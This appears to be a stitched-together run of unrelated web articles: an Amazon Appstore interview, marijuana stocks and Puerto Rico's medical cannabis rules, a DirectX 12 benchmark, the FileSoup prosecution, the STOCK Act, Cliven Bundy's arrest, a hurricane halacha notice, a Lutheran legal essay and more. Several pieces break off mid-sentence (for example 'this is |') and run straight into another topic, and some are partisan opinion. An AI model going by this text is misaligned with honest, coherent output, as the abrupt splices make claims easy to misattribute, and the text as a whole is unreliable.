Amazon’s customer review system is definitely a point of pride for the company, and it’s one of the major reasons for Amazon’s success over the years. I love Amazon’s review system for retail products, it helps you find the best possible product that fits your needs, because you can rely on the many helpful words of satisfied (or dissatisfied) customers.
Why are Amazon’s reviews so helpful? Because they’re community-moderated and the maker of each product can’t go in and start refuting and denying the claims of customers. It keeps the feedback “pure.” This is an extremely good point - as allowing developers to comment on user reviews could unleash a tidal wave of conflicting information and developer-customer flame wars, making reviews useless.
App Review Period
Finally, we talked about Amazon's app submission and review process - which some developers have claimed is a bit lengthy. Amazon refers to its vetting of candidate apps for the Appstore as “testing,” rather than review. Why? Amazon’s testing process is all about ensuring compatibility, safety, and functionality. Amazon isn’t out looking to enforce best practices or a consistent user experience, but rather to ensure that every application published actually works, doesn’t contain illicit or infringing software, and doesn’t compromise the safety of a user’s information.
This takes time. While Amazon does try hard to ensure updates to applications are pushed out more quickly than initial releases, some testing is still done on every submission to the Appstore. This takes more time. Aaron told me that while he definitely sympathizes with developers who are forced to wait for this process to complete, they’re generally happy how it’s worked out so far.
Not to mention, a couple weeks is still a lot quicker than Apple is, somewhat infamously, known to be during its app review process.
Wrap-Up
That about covers the length of my discussion with the Category Leader of the Amazon Appstore, Aaron Rubenson. And honestly, I can say I learned a fair bit. It’s always good to get both sides of the story - whether or not you agree with one in particular.This article was updated on April 8, 2018, and originally published on Nov. 20, 2017.
The marijuana industry, and marijuana stocks for that matter, have been worth marveling at recently. A majority of marijuana stocks have doubled or tripled in value over the past year as legal weed sales in North America jumped by 33% last year to $7.7 billion, according to cannabis research firm ArcView, in partnership with BDS Analytics.
But this could be just the tip of the iceberg. ArcView is also predicting North American legal sales growth of 28% per year through 2021, yielding a market worth nearly $25 billion. The possible legalization of adult-use weed in Canada, along with the June 2017 legalization of medical cannabis in Mexico and the expectation that more U.S. states will choose to green-light recreational pot, has the industry and investors extremely excited.
The first-ever marijuana ETF was introduced in Canada
Of course, investing in pot stocks isn't without its fair share of risks. After all, marijuana is still illegal for recreational use in every country except Uruguay. Within the U.S., all it would take is for the federal government to decide to reinforce its superseding law and the 30 states that have legalized medical cannabis, and nine that voted to legalize recreational weed, could see their industries go up in smoke. In other words, buying individual marijuana stocks comes with a ton of inherent risks.
Unfortunately for U.S. investors, diversified investment options, like an exchange-traded fund (ETF), haven't really been an option. In 2017, the Horizons Marijuana Life Sciences ETF (TSX:HMMJ) made its debut on the Toronto Stock Exchange, and has risen about 53% since inception. It seeks to replicate the performance of the North America Marijuana Index, net of expenses, and for a reasonably low management fee of 0.75%, plus applicable taxes, this ETF gives investors access to 36 different marijuana stocks.
It's worth pointing out that some of the Horizons Marijuana Life Sciences ETF largest holdings are in Canadian medical cannabis growers Canopy Growth Corp., Aurora Cannabis, Aphria, and MedReleaf, which make up just over of 41% of its invested assets. Since Canada's parliament is currently reviewing a bill that'd legalize recreational pot in our neighbor to the north, this is |
out and saying, 'Mr. Putin, we know you're doing this, we find it unacceptable, and you have to stop' would be beneficial."
Less than a week later, after WikiLeaks released another cache of hacked emails—this time from John Podesta, Hillary Clinton's campaign chair—the White House announced that the president was considering a "proportional" response against Russia. Administration officials asked Alperovitch to attend a meeting to consider what to do. He was the only native Russian in the room. "You have to let them save face," he told the group. "Escalation will not end well."Ashes of Singularity: DirectX 12 Benchmark II
Massive-Scale RTS Hits BETA 2 with Explicit Multi-GPU rendering
Stardock and Oxide Games have renewed their Beta with an updated DirectX 12 benchmark, an upgrade to Ashes of the Singularity Benchmark I, released in Fall of 2015. We take a look at this new build in relation towards PC gaming graphics card performance with AMD and NVIDIA graphics cards. In this article we'll look at single card performance.
However, we'll also have a look at a new DX12 related feature called explicit multi-GPU. You can now insert an additional video card into your PC and increase performance. Explicit Multi-GPU allows gamers to use an AMD card and an Nvidia card in the same system.
Ashes of the Singularity takes place in a post-technological singularity universe in which humans have begun to colonize the stars. Now, they face a foe that threatens to annihilate them, the Substrate, a race of machines that seeks to control the same worlds that humanity is claiming. Beta 2 includes a new DirectX 12 benchmark developed by Oxide Games as well as explicit support for new DirectX 12 features such as multiple GPUs and Asynchronous compute.
“With this update, players can improve game performance by adding another video card,” said Dan Baker, Chief Scientist at Oxide Games. “As long as the two cards are reasonably similar in performance, they can be of any model or brand including mixing AMD and NVidia cards together. Players just insert the additional video card and enable it via the game’s video options panel.”
The new benchmark is accessible by users from the main menu with different display preferences available from the options menu. We test with the latest game patch and for AMD Radeon Software Crimson 16.1x driver and for Nvidia the new 361.75 WHQL GeForce driver. The new benchmark is accessible by users from the main menu with different display preferences available from the options menu.Dutch architects Merkx + Girod have won the Lensvelt de Architect Interior Prize 2007 for their Boekhandel Selexyz Dominicanen in Maastricht - a bookstore inside a former Dominican church.
The prize jury said: "Merkx + Girod architects have created a contemporary bookshop in a former Dominican church, preserving the unique landmark setting. The church has been restored to its former glory and the utilities equipment has been housed in the extended cellar.
"In order to preserve the character of the church while achieving the desired commercial square footage, the architects erected a two-storey structure in black steel on one side, where the books are kept. Keeping the shop arrangement on the other side low created a clear and decipherable shop. The jury was very impressed by these spatial solutions, as well as by the gorgeous lighting plan. The combination of book complex and church interior were deemed particularly successful.”
Photos are by Roos Aldershoff. NB if you like this, have at look at Qubus Studio's interior for the St. Bartholomew’s Church in the village of Chodovice, Eastern Bohemia.After the cruise missile attack on a Syrian airfield last Thursday, the left and parts of the GOP set about criticizing the attack and, in essence, claiming it was a botched exercise.
The big issue came when Syrian fighters used the runway the next day as cameras rolled. As I pointed out Friday, the runway is the least valuable target if you are trying to destroy an airbase.
Today SecDef James Mattis released a statement on the cruise missile strike:
That last line is Mattis magic.
Key points.
20% of Syria’s operational aircraft were taken out in one mid-sized attack. This sends the message that the US could take the Syrian air force completely out of action on any given night.
Mattis reiterates that random aircraft using the runway is a meaningless metric. It is is the supporting systems around the airfield that matter.
If the chemical weapons are used again, expect another strike.
I really hope John McCain is happy now that someone who knows his business has told him that cratering runways is a meaningless, feel good exercise. But I doubt it.Postal worker Uwe Mitzscherlich decided to marry his 15-year-old black and white cat Cecilia because she may not have long to live, daily Bild reported on Monday.
“Cecilia has such a trusting nature,” Mitzscherlich told the paper. “Between us there is an inner bond, a harmony of hearts – it’s unique.”
The two met some 10 years ago when he was vacationing on the Baltic Sea coast. The love between them was so strong that when the 39-year-old, who lives in Possendorf near Dresden, realised that his asthmatic and overweight feline friend would likely die soon, he decided to make it official.
But because German authorities will not officiate a wedding between man and cat, Mitzscherlich asked 56-year-old actress Christin-Maria Lohri to do the honours for a fee of €300.
“I first thought it was a joke,” said the actress, who is known for her role on police drama Polizeiruf 110. “But for Mr. Mitzscherlich this is about fulfilling his heart’s desire.”
Dressed in a tuxedo with a top hat, the groom held his bride, who wore a tiny wedding gown. The ceremony was complete with flowers, a wedding march, vows and a kiss.Oct 29, 2012 There Are "Hurricane Halachos"
Crown Heights Badatz members Rabbi Yaacov Schwei and Rabbi Yosef Braun released a page titled "Practical Halacha for emergency times during a storm." Cheshvan 12, 5773
To the Residents of Crown Heights – kan tzivah Hashem es ha-berachah,
May you be protected from all forms of harm,
Practical Halachah for Potential Emergencies Evolving from “Hurricane Sandy”
– From the Morei D’asra and members of Badatz, Horav Schwei and Horav Braun shlita –
It is a mitzvas asei to protect yourself from anything dangerous or life threatening, as the Torah states, “You should guard yourselves exceedingly well.”
You must not enter a heavy current of water if the water will reach higher than your thighs, due to the danger of being swept away.
It is imperative to heed all emergency directives issued by the authorities regarding the hurricane and its aftermath.
If due to the hurricane’s strength the authorities order everyone to remain indoors, you must pray at home and not risk your life in order to attend shul.
If a stay-at-home advisory results in the Torah not being read on a Monday or Thursday, the majority of halachic authorities concur that it should not be read on another day.
Upon encountering an extremely fierce wind, recite the following blessing: Baruch atah Hashem … osei ma’asei bereishis. Alternatively, you may recite: Baruch atah Hashem … she-kocho u-gevuraso malei olam. Due to a number of halachic considerations, the first blessing is preferable.
The definition of an extremely fierce wind is a matter of debate among the halachic authorities. If you are in doubt, recite the blessing without Hashem’s name (Baruch osei ma’asei bereishis).
The appropriate time for the blessing is while the wind can be heard clearly and loudly – or at least, while its powerful effect is clearly visible.
Extreme natural events are significant in halachah. Shulchan Aruch records that communal fasts and the sounding of the shofar would be arranged upon experiencing fatal earthquakes and deadly storms that topple buildings.
If you witness floodwaters sweeping into your neighbor’s property, devastating his land or demolishing his home, you are obligated to mend the breach and prevent the waters from entering if you are safely able to do so. This obligation is included in the mitzvah of hashavas aveidah, concerning which the Torah stipulates, “So you shall do for every loss of your brother” – which, as Chazal explain, includes damage to land and property. This obligation applies to any form of loss – you must do everything in your power to prevent loss or damage from occurring to a fellow Jew’s property. However, you are not required to spend money in doing so unless you are absolutely certain that the owner will personally refund your expenses.
Chazal in Gemara Berachos state regarding zeva’os that “when Hashem remembers His children who languish in distress among the nations of the world, He sheds two tears into the sea (yam ha-gadol) and its sound is heard from one end of the world to the other.” Rabbeinu Yona defines the term zeva’os as high winds accompanied by rain. Rabbeinu Chananel explains that this is done “in order to show the Jewish people that Hashem has not abandoned, forgotten, or deserted them and that He will return them in the future; He performs all this in order to strengthen their hearts so that they will not despair of experiencing the Redemption.” Indeed, may this act of remembrance result in the true and complete Redemption immediately!
Most Read Most CommentsTwo administrators of FileSoup – the longest standing BitTorrent community – had their case dropped by the Crown Prosecution Service (CPS) today. The prosecution relied solely on one-sided evidence provided by the anti-piracy group FACT and was not able to build a case. Following the trial of OiNK BitTorrent tracker operator Alan Ellis, the FileSoup case marks the second where UK-based BitTorrent site operators have walked free.
Founded in 2003, UK-based FileSoup is one of the original torrent sites. It outlived many of the sites that sprung up around the time and developed a great reputation and a warm community in the years that followed.
After years of operating the site without any noticeable trouble, in the summer of 2009 police and the Hollywood-backed Federation Against Copyright Theft (FACT) conducted a raid on the home address of the site’s owner, known online as ‘TheGeeker’. Another raid was carried out around the same time on the property of fellow administrator ‘Snookered’. Both were arrested and taken in for questioning.
In the summer of 2010 the two administrators were charged with conspiracy to infringe copyright for their involvement with the site. As in previous cases in the UK, the evidence was solely gathered by the Hollywood-funded anti-piracy group FACT. No independent investigation was carried out by the police.
This critical lack of investigation on the prosecution’s part was brought to the Court’s attention by the solicitors of the two administrators. The solicitors, who successfully defended the owner of BitTorrent tracker OiNK in an earlier trial, pushed the prosecutor to formulate their charges. This turned out to be problematic.
The prosecution failed to understand some of the technical issues, did not know whether to prosecute FileSoup as a business or not, and was unsure whether the copyright holder had caused prejudice. Since there was no independent investigation into the case, all these questions remained unanswered.
Today the Crown Prosecution Service decided to drop the case entirely. It concluded that the alleged offenses are a civil rather than a criminal matter and decided not to spend any more public money on the prosecution. As a result, ‘TheGeeker’ and ‘Snookered’ are free to go.
Both men are relieved that the case has finally come to an end, and are grateful for the excellent work their solicitors carried out.
“It has been a long and stressful 18 months but I am happy to finally have the weight lifted from me,” Snookered told TorrentFreak. “During this time my solicitors, Burrows Bussin and David Cook in particular have kept me sane. Nothing was too much for them. I owe them a debt of gratitude along with my Barrister Ian Whitehurst.”
“I hope to have some more details in the next few days so I may say more then. Thank you to everyone for all the support. It was greatly appreciated,” he added.
Morgan Rose solicitors, who defended TheGeeker, are now able to add another win in a prominent BitTorrent case to their resume, which is welcomed by other UK-based operators of file-sharing sites.
“This case is not a one-off,” David Cook, Snookered’s solicitor said in a comment. “We have now seen two prosecutions for allegations such as these, both of which were fundamentally flawed. We have persistently worked in exposing the flaws in these cases, which have resulted in the absolute failure of both prosecutions.”
Today’s news is a great blow to the UK anti-piracy outfit FACT, who have spent tens of thousands of pounds on this case alone. According to the prosecution FACT’s involvement created a great inequality. The movie industry funded group has enormous financial resources while the defendants only ran a non-profit website.
Yet again the prosecution was led by FACT to believe that they were dealing with a criminal gang, a picture that didn’t hold up on closer inspection. Luckily for the UK tax payer and the FileSoup admins, the Court realized in time that justice was best served by dropping the case.Colorado Secretary of State Scott Gessler embarrassingly confessed recently that while he had alleged last year that upwards of 11,000 noncitizens were registered to vote in the state, an investigation by his office had turned up only 35 instances of a noncitizen casting a ballot. Like many conservatives who inveigh against the phantom menace of voter fraud, Gessler defended his zeal to patrol the voter rolls by invoking a zero tolerance policy. “Voter fraud is not tolerable, period,” he said. “If [Democrats] want to argue that a little bit of vote fraud is OK, that’s their argument. I think no vote fraud is acceptable.”
For good measure, Gessler also said that Democrats have a “cavalier” attitude toward elections. His word choice caught my eye because I’ve often wondered why conservatives aren’t more concerned about the possibility that efforts to purge voter rolls or require photo ID to vote might actually prevent a registered voter from exercising her constitutional right. I guess it’s easier to be cavalier about that right if you are male and white and never had to fight for it.
Yes, yes, yes—proponents of voter ID laws will say that they are necessary to protect the sanctity of votes. Without them, a scofflaw could cancel out your vote and strip all meaning from the solemn process. That might be a compelling argument, if voter fraud actually turned out to be a common problem. But as Gessler’s own investigation determined, instances of voter fraud are incredibly rare.
News21, a project funded by the Carnegie-Knight Initiative on the Future of Journalism Education, analyzed more than 2,000 cases of alleged voter fraud since 2000 and found that out of hundreds of millions of ballots cast in that time, there were only 633 confirmed incidents of voter fraud. That’s 633 too many for Gessler—and certainly, no one is defending or advocating voter fraud. But given those numbers, it’s hard to argue that any electoral outcome was ever affected by voter fraud.“We need to stop the insidious practice of insider trading, giving members of this body an unfair advantage over Americans who sent us here to represent them,” said Representative Kathy Hochul, Democrat of New York. “Let us begin the long process of restoring the faith of the American people in this institution.”
Representative Louise M. Slaughter, Democrat of New York, who has been pushing ethics legislation since 2006, said, “It appears that the House Republican leadership could not stomach pressure from the political intelligence community, which is unregulated and unseen and operates in the dark.”
Senator Charles E. Grassley, Republican of Iowa, who wrote the proposed disclosure requirement, denounced “the chutzpah” of House Republican leaders, who he said had “wiped out any chance of meaningful transparency for the political intelligence industry.” He said he would fight to restore the requirement.
The House majority leader, Representative Eric Cantor, Republican of Virginia, said the political intelligence section of the Senate bill was flawed.
“That provision raises an awful lot of questions,” Mr. Cantor said Thursday on the House floor. “There is a lot of discussion and debate about who and what would qualify and fall under the suggested language that came from the Senate. That is why we are calling for a study.”
The chamber’s Democratic leader, Representative Nancy Pelosi of California, said the House-passed bill had “serious omissions” and was “much diminished” from the Senate version. She supported it as a way to advance the legislation, but said, “I don’t want anyone to interpret the strong vote for it to be a seal of approval.”
Some Republicans described the bill as an overreaction, but voted for it anyway, saying they could not easily explain their concerns to a restive public. The votes against the bill were cast by Representatives John Campbell of California and Rob Woodall of Georgia, both Republicans.
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The bill is known as the Stock Act, or the Stop Trading on Congressional Knowledge Act. The Senate version was written by members of both parties. The House version was prepared by Republican leaders — Democrats said they had not been consulted — and it was debated on the House floor under a rule that precluded amendments.
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House Republicans had their own reasons for supporting the bill.
Representative Lamar Smith, Republican of Texas and chairman of the House Judiciary Committee, said: “The risk of government self-dealing is heightened by the huge growth in recent years of the federal government and its increasing entanglement with the private economy. Big government can move markets. That’s why we need strong rules to reassure the public that decision makers are not enriching themselves by investing based on insider knowledge of government policies.”
The bill would prohibit members of Congress from trading stocks and other securities on the basis of confidential information they receive as lawmakers. It makes clear that the insider trading ban in federal law applies to members of Congress and their aides and to officials in the executive and judicial branches of the federal government.
Moreover, the bill requires members of Congress to disclose the purchase or sale of stocks, bonds, commodities futures and other securities within 30 to 45 days of transactions. The information would be posted on the Web.
A similar disclosure requirement would apply to thousands of federal employees in the executive branch, including the White House, cabinet departments and independent agencies.
The House added a provision to prohibit members of Congress and executive branch officials from receiving special access to initial public stock offerings because of their positions. Republicans said the provision was inspired by an investment in the initial public offering by Visa Inc. in 2008 by Ms. Pelosi, who was then the speaker of the House.
The legislation, as passed by both houses, would deny federal pensions to members of Congress who are convicted of felonies involving public corruption. It would also require lawmakers to disclose the terms of mortgages on their homes.
Ms. Slaughter and Representative Tim Walz, Democrat of Minnesota, led the charge for the legislation in the House.
“The perception is that members of Congress are enriching themselves,” Mr. Walz said. “That’s not only an affront to our neighbors, that we are not playing by the rules. It is a cancer that can destroy the democracy.”
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Federal securities law does not explicitly exempt members of Congress, but experts disagree on whether and when lawmakers may be found to have violated the law. The bill is meant to eliminate any ambiguity.
The legislation says that lawmakers have “a duty arising from a relationship of trust and confidence” to Congress, the federal government and citizens of the United States — a duty they violate by trading on nonpublic information.
Explaining his vote against the measure, Mr. Campbell said, “This is an ambiguous bill that could potentially and unintentionally cause constituents and members of Congress to break the law by simply asking or answering a question about the prospects of federal legislation.”Markets Insider Bitcoin is trading at another record high on Thursday. The cryptocurrency is up 4.59% at $1853.55 a coin after Ulmart, Russia's largest online retailer, said it would begin accepting bitcoin, Cryptocoin News says.
The announcement from Ulmart comes despite Russia's central bank saying it would wait until 2018 to consider allowing the use of bitcoin and other cryptocurrencies. At the beginning of April, Japan's regulators announced bitcoin is now a legal payment method in the country.
Bitcoin's has gained in 18 of the past 20 sesssions, a streak that has added nearly 60% to the cryptocurrency's price. It began the run trading at about $1,170 a coin.
Bitcoin has shrugged off China restricting trade, the SEC's rejection of two bitcoin ETFs, and threats from developers to create a "hard fork" that would split the cryptocurrency in two, on its way to a gain of more than 95% so far this year.
It has been the top performing currency every year since 2010, aside from 2014.
Traders are currently on the lookout for the US Securities and Exchange Commission's ruling on whether it will reverse its decision to reject the Winklevoss twins' exchange-traded fund.
Back in March, the SEC rejected two bitcoin ETFs, saying it "is disapproving this proposed rule change because it does not find the proposal to be consistent with Section 6(b)(5) of the Exchange Act, which requires, among other things, that the rules of a national securities exchange be designed to prevent fraudulent and manipulative acts and practices and to protect investors and the public interest."
The SEC will accept public comment on its previous decision until May 15.Cliven Bundy's Arrest Caps Years Of Calls For Government To Take Action
Enlarge this image toggle caption John Locher/AP John Locher/AP
The defiant leader of the anti-federal lands movement, Nevada rancher Cliven Bundy, is now facing multiple felony charges — including conspiracy and assault on a federal officer — in the 2014 standoff at his Nevada ranch.
Bundy, who inspired the occupation of Malheur National Wildlife Refuge, was arrested at the airport in Portland, Ore., Wednesday night, apparently on his way to Malheur.
In a 32-page criminal complaint, prosecutors allege Bundy and his co-conspirators led a massive, armed assault against federal officers in April 2014 near the town of Bunkerville, Nev.
According to the U.S. attorney for Nevada, Bundy and his armed supporters on horseback effectively ambushed federal Bureau of Land Management officials as they were trying to round up 400 of Bundy's cows illegally grazing on federal land.
The tense dispute ignited a fierce debate over federal land management and cattle grazing that continued for the past month in Oregon. But Bundy's self-described "range war" has always been about more than cows.
"What's at stake here? Freedom, liberty and statehood, that's what's at stake here," Bundy told me when I visited his ranch in southeastern Nevada shortly after the 2014 standoff.
That hot summer day, Bundy sat between two bodyguards. Photos of his 14 children and framed Mormon scripture hung on the wall behind him.
"[Federal authorities] was acting like an army coming against 'we the people,' " Bundy said at the time.
"We the people" is a constant Cliven Bundy refrain. He has flouted federal grazing laws and four prior court orders because he believes his Mormon ancestors arrived in the region and claimed a "right" to this land, predating the federal territories — an argument often disputed by historians who study the American West.
Bundy owes the federal Bureau of Land Management, or BLM, more than $1 million in leases and fines.
After the 2014 standoff, Bundy enjoyed a few weeks in the national spotlight, and was a darling of some talk show hosts. Most distanced themselves from the rancher when a video surfaced of him espousing racist views about the African-Americans he said he's came into contact with in nearby Las Vegas.
"I've often wondered, were they better off as slaves, picking cotton, having family life and doing things, or are they better off under government subsidy?" Bundy said in the video, apparently filmed a few days after the 2014 standoff.
Enlarge this image toggle caption Kirk Siegler/NPR Kirk Siegler/NPR
But after all the attention started to fade, the federal government still didn't act against Bundy. The BLM completely pulled out of the region, and Bundy and his supporters declared victory — until Wednesday night.
"I've been waiting for this for a long time," says Alan O'Neill, a retired park superintendent at Lake Mead National Recreation Area, which spans the Arizona-Nevada border near Bundy's ranch.
O'Neill's first brushes with Cliven Bundy's defiance began in the late 1990s, when Bundy's cows were illegally grazing on park service land. He said there was a plan in place to remove them, but it was stopped back then at the last minute because the federal government worried about another Waco.
"I thought that the government should have moved quicker on Cliven Bundy, but I'm just happy that they did," O'Neill says.
It's not clear how Bundy's arrest will affect his followers and the larger anti-federal lands movement. Reached by cellphone on Wednesday before she began negotiating with the Oregon occupiers and encouraging them to surrender, Nevada state Rep. Michele Fiore was as defiant as ever.
"Across the Western states, this is a pattern of behavior where the BLM has literally become a bureaucracy of terrorism," she said.
If convicted, prosecutors say, Cliven Bundy faces up to 42 years in prison and fines up to $1.5 million.GEORGETOWN — Special prosecutor Lisa Tanner will not seek the death penalty for Mark Norwood, the Bastrop man charged with the 1986 murder of Christine Morton, a crime for which her husband was wrongfully imprisoned for nearly 25 years.
Tanner, an assistant attorney general who is leading the case against Norwood, filed a notice Wednesday in the 368th Williamson County District Court advising the court that the state would not seek the death penalty after consulting with family members of Christine Morton.
She was found bludgeoned to death in her bed on Aug. 13, 1986, in the home she shared with her husband, Michael Morton, and their 3-year-old son, Eric, in North Austin. Michael Morton was convicted or her murder in February 1987, though he maintained his innocence. He spent 24 years and seven months in prison before DNA evidence proved that he was innocent. He was released in October 2011.
In a notice of intent filed Wednesday in Williamson County, Tanner wrote that Morton, his son Eric and Christine Morton's siblings expressed their desire that Norwood not be sentenced to death if he were convicted. With the death penalty off the table, if Norwood is found guilty he could face a life sentence. He would be eligible to leave prison in 20 years because the crime happened in 1986, before Texas enacted a statute allowing life without parole.
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After a more than six-year-long fight to obtain DNA testing on a bloody bandana found about 100 yards away from the Mortons' home, the results showed that Christine Morton's blood was mixed with the DNA of Norwood. Additional DNA testing also identified Norwood's DNA at the scene of another murder. Debra Masters Baker, like Christine Morton, was beaten to death in her bed. Her 1988 murder remained a cold case until the DNA testing last year.
Norwood was charged with Christine Morton's murder and arrested in November 2011. He is considered a suspect in Baker's murder. Norwood's lawyer, Russell Hunt Jr., has said his client maintains his innocence in both cases.
Norwood's trial is scheduled to take place Jan. 7 in San Angelo after Judge Burt Carnes agreed to move the trial out of Williamson County because of extensive media coverage of the case in Central Texas.
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Fortunately, the government has the option to nourish a new industry with medical marijuana. Unfortunately, it appears that they are putting up roadblocks at every turn.
The Puerto Rican government has not made the process of entering the medical marijuana field easy for anyone. Patients, tourists and business owners are all having trouble operating within the current system. Part of the issue may be a learning curve on the part of elected officials, but willful resistance and a lack of resources is also at play.
All combined, patients are the ones feeling the most pain.
There are over 4,000 registered patients in Puerto Rico, with 7,000 more awaiting their patient ID cards.
When I visited the Department of Cannabis (within the Puerto Rico Department of Health), there were no patients, no business owners and very little staff. Supposedly there is only one person and one machine for printing medical cannabis ID cards, making for a slow process.
As the CEO of Caribbean Green, a local dispensary, put it: “People are literally dying waiting for their patient cards.”
But the long wait for approval isn’t the only issue.
The first thing a patient has to do—as usual—is go to their doctor to get a recommendation for medical marijuana. Then, they have to go to a notary to get that recommendation certified. The twist here is the only people who are legally allowed to be notaries in Puerto Rico are lawyers. So, you have to go see a lawyer. Then, you have to take the certified recommendation to the Department of Cannabis, where they review your paperwork.
After the doctor, lawyer and the government office, then you have to wait and wait and wait and maybe go back to the Department of Cannabis to straighten something out or annoy the staff until they process your documents. When your card is ready, you have to go back to the office to pick it up.
All-in-all the cost is about $100-150, which can be a large upfront cost for a medicine you’re not even sure will work. Not only do you have the long process, wait and cost, but you also have to factor in the time—especially for those Puerto Ricans who do not live in San Juan.
If you live in Mayagüez, on the west side of the island, then you have to drive the two-and-a-half hours or more to San Juan anytime you need to visit the Department of Cannabis.
“I’m trying to get a card for my dad,” explained Fernando Torres of Mayagüez, “but my dad has a couple of health issues that don’t let him travel far because of the pain and symptoms of his conditions.”
To make this a reality, Torres would have to take, at least, two days off from work to deal with the government on behalf of his father. This can be a significant hardship, especially if you do not own a car and have to rely on the limited transportation options between Mayagüez and San Juan.
Puerto Rico’s medical marijuana laws have a reciprocating agreement, where visitors to the island, who have medical marijuana recommendations in their home-state, can access cannabis through the island’s licensed dispensaries.
The only problem with that is—visitors have to go through a very similar process as the locals.
To get government approval, a tourist would have to bring their current recommendation to a Puerto Rican doctor, go to the notary/lawyer and present it to the Department of Cannabis in San Juan. The only difference between locals and tourists is that the visitor does not have to wait for the ID card.
So visiting patients do not have to wait months on end to get their card, but they still have to pay $100-150 to go through the process and spend a whole day of their vacation or business trip going to various offices.
Now, let’s say you’ve jumped through all the hoops and have official medical marijuana approval from the government: You have to pick a dispensary—maybe before you ever lay eyes on one.
A patient is limited to one dispensary; they can only buy their medicine at that one business.
So, if you live in Mayagüez but happen to be on business in San Juan and run out of meds, then you will be out of luck until you get back to the area of your home dispensary. Or, if you sign up for one store and come to discover they don’t carry the medicine you need, you have to go to the government and ask to switch shops.
Once you have picked a shop and go in, the choices are somewhat limited and priced close to $80 an eighth. You have now spent around $200+ and two days of your life to get an eighth of medicine.
Due to the low patient numbers, little competition among businesses and the high costs of doing business in Puerto Rico, dispensaries cannot match the prices most of us in the U.S. are accustomed to. This is a hurdle for both patients and businesses—and like patient applications, business applications are stalled as well.
There are over 170 medical cannabis business applications waiting to be approved; 17 dispensaries have been approved since last fall.
Additional business licenses are a double-edged sword for the industry. On one hand, the more licenses you have, the more prices will come down and the more patients you will attract (Re: Econ 101: Supply and Demand). On the other hand, can the industry support the influx of businesses with such low patient numbers?
The first cannabis company in Puerto Rico to get licensed, Caribbean Green, epitomizes the problem.
Caribbean Green boasts a large grow, one opened dispensary, a kitchen for making edibles and more patients than any other company on the island. They seem to have everything a business would need to start a thriving cannabis company. But being the first to get a license, also means they’re the first to encounter problems.
Caribbean Green has had to deal with traditional issues—like mold—coming in nontraditional forms.
According to the CEO of Caribbean Green, “there are something like 14 different types of mold that only live in Puerto Rico,” and the company has encountered a few of them. He said that several operators lost their entire initial crops to mold, leading a few to give up.
Fortunately for Caribbean Green and their patients, their master grower is experienced with these problems and—supported by lab testing—stays on top of any instances of mold. Local marijuana businesses have also had to deal with a less traditional problem in the weed industry: a lack of customers.
With around 30 patients a day, the grow that Caribbean Green built goes above and beyond the capacity needed to serve their client-base. They have two flower rooms built, each with about 90 lights, but when I visited, they were down to two or three tables in one of the rooms. The second room was completely empty.
The CEO explained that he was considering letting both rooms go dormant to do some cleaning and prep-work—and to give his growers a break. They just have too much weed (not truly possible) and now are sitting on a huge warehouse with rent, electricity, security and upkeep costs and no flowers being cut.
There was a rumor that one grow on the island had recently harvested 300 pounds and had nowhere to sell it—not good news for any licensed grows.
Aside from the mold and lack of patients, businesses also have to deal with high costs.
Electricity rates in Puerto Rico are more than double the average U.S. rate, and growing outdoors is not easy due to the mold and constant rain. Lab costs are around $1,200 per batch, as it’s required to test for everything from heavy-metals to terpenes.
Security is also a major expense, helping add to the cost of those $80 buds. Each grow needs to have two security guards, and each dispensary needs one. That is 24/7, highly-trained, highly-paid security, by the way. Caribbean Green says security is one of their largest expenses. With the economy in shambles and crime on the rise, security is a top concern in Puerto Rico—hence the scarcity of names appearing in this article.
Along with high costs and slow processes, both patients and businesses have to deal with government incompetence and ignorance. One of the weirdest examples of this is that businesses are allowed to sell traditional medical cannabis, you know flower/bud, but patients are NOT legally allowed to smoke it. They must vaporize it or turn it into another form.
Originally the government did not even want to allow flower to be sold—just oils, edibles and topicals. After some pressure and education, they relented, to some degree, but still were not convinced that smoking could be the best way of ingestion for certain patients. They fail to realize that many need to smoke cannabis to achieve the best results.
Representative María Milagros Charbonier, a member of the New Progressive Party, has been a consistent enemy of progress in the cannabis movement. She recently made renewed calls to ban the sale of buds and to move to a New York-style system only containing processed cannabis products. Charbonier said that weed cannot be dosed, and that it is never going to be medicine. She is stuck in the Reefer Madness mindset of the drug war, refusing to accept that some patients simply cannot get relief from edibles and topicals.
Those patients may be in so much pain that vaping, too, just isn’t strong enough to break through the torment. Many chemo patients have a hard enough time swallowing their prescribed pills, let alone a brownie or Rice Krispie treat. Some might need to juice raw marijuana, while others require the fast-acting relief that only smoked cannabis can achieve. Politicians, Charbonier, need to understand that cannabis-based medicine is back and here to stay.
Another example of the learning curve that advocates have had to battle is when the local Congress was given information about THC acid (THC-A), the main component of most cannabis flowers, which turns into THC when heated. When a speaker explained that THC acid is converted into THC when smoked, the official Twitter account of the Puerto Rican Senate interpreted it as users smoke acid |
the legal rules against employer retaliation.
Since the ministerial exception is now the law of the land, Lutherans might pursue this more limited exception by recognizing in their governing documents and behaviors that they accept the authority of the secular law over all but a limited number of positions or functions. For example, Lutherans might simply choose not to invoke the ministerial exception when they are sued: it is unlikely that a court would raise this question on its own if the party benefitting from the exception, here the church, does not attempt to erect it as a shield.
As suggested, while the “limited ministerial exception” solution does collapse the apparent logical circularity I have described, for Luther there would still be a problem with ceding jurisdiction over church employees to the state, even voluntarily. Such an approach seems to deny Luther’s insight from scripture that the church may call others besides pastors to perform tasks to serve the church’s common life. If a parochial school teacher or a church social worker is called, and if he or she is living out his or her calling as a Christian witness, the intrusion of secular law might compromise the message of the Gospel in their interactions just as much as if a pastor were called to account by secular law as he or she carried out the wide range of pastoral duties that the Supreme Court recognizes as embodied in that role.
The other, more difficult way through this conundrum is for Lutherans to be more self-critical, continually challenging church structures and ecclesiastical law and processes—here, the LCMS reconciliation process and the actions that Hosanna-Tabor and the district took under it—using the spiritual law of love as Heckel describes it. The spiritual law of love requires a Christian to lay down his very life for the other, freely, gladly, generously. Such a law well transcends the demands of American discrimination law, which sets a minimum expectation of non-discrimination and non-retaliation. The spiritual law of love requires of Christians more than attention to contracts, budgets, customer satisfaction, or even “disruption” on Hosanna-Tabor’s side, or medical bills or job prospects on Perich’s. It requires Christians to give up their fears that God will not provide enough for all, that God will not see a way to preserve Christian institutions without a “customer is king” mentality that encourages individual Christians to look at Christian institutions as means to their personal goals. It also requires Christian congregations and church bodies to renounce the mentality that the Church’s mission goes only as far as its members are willing to give of “their” money and property to support it.
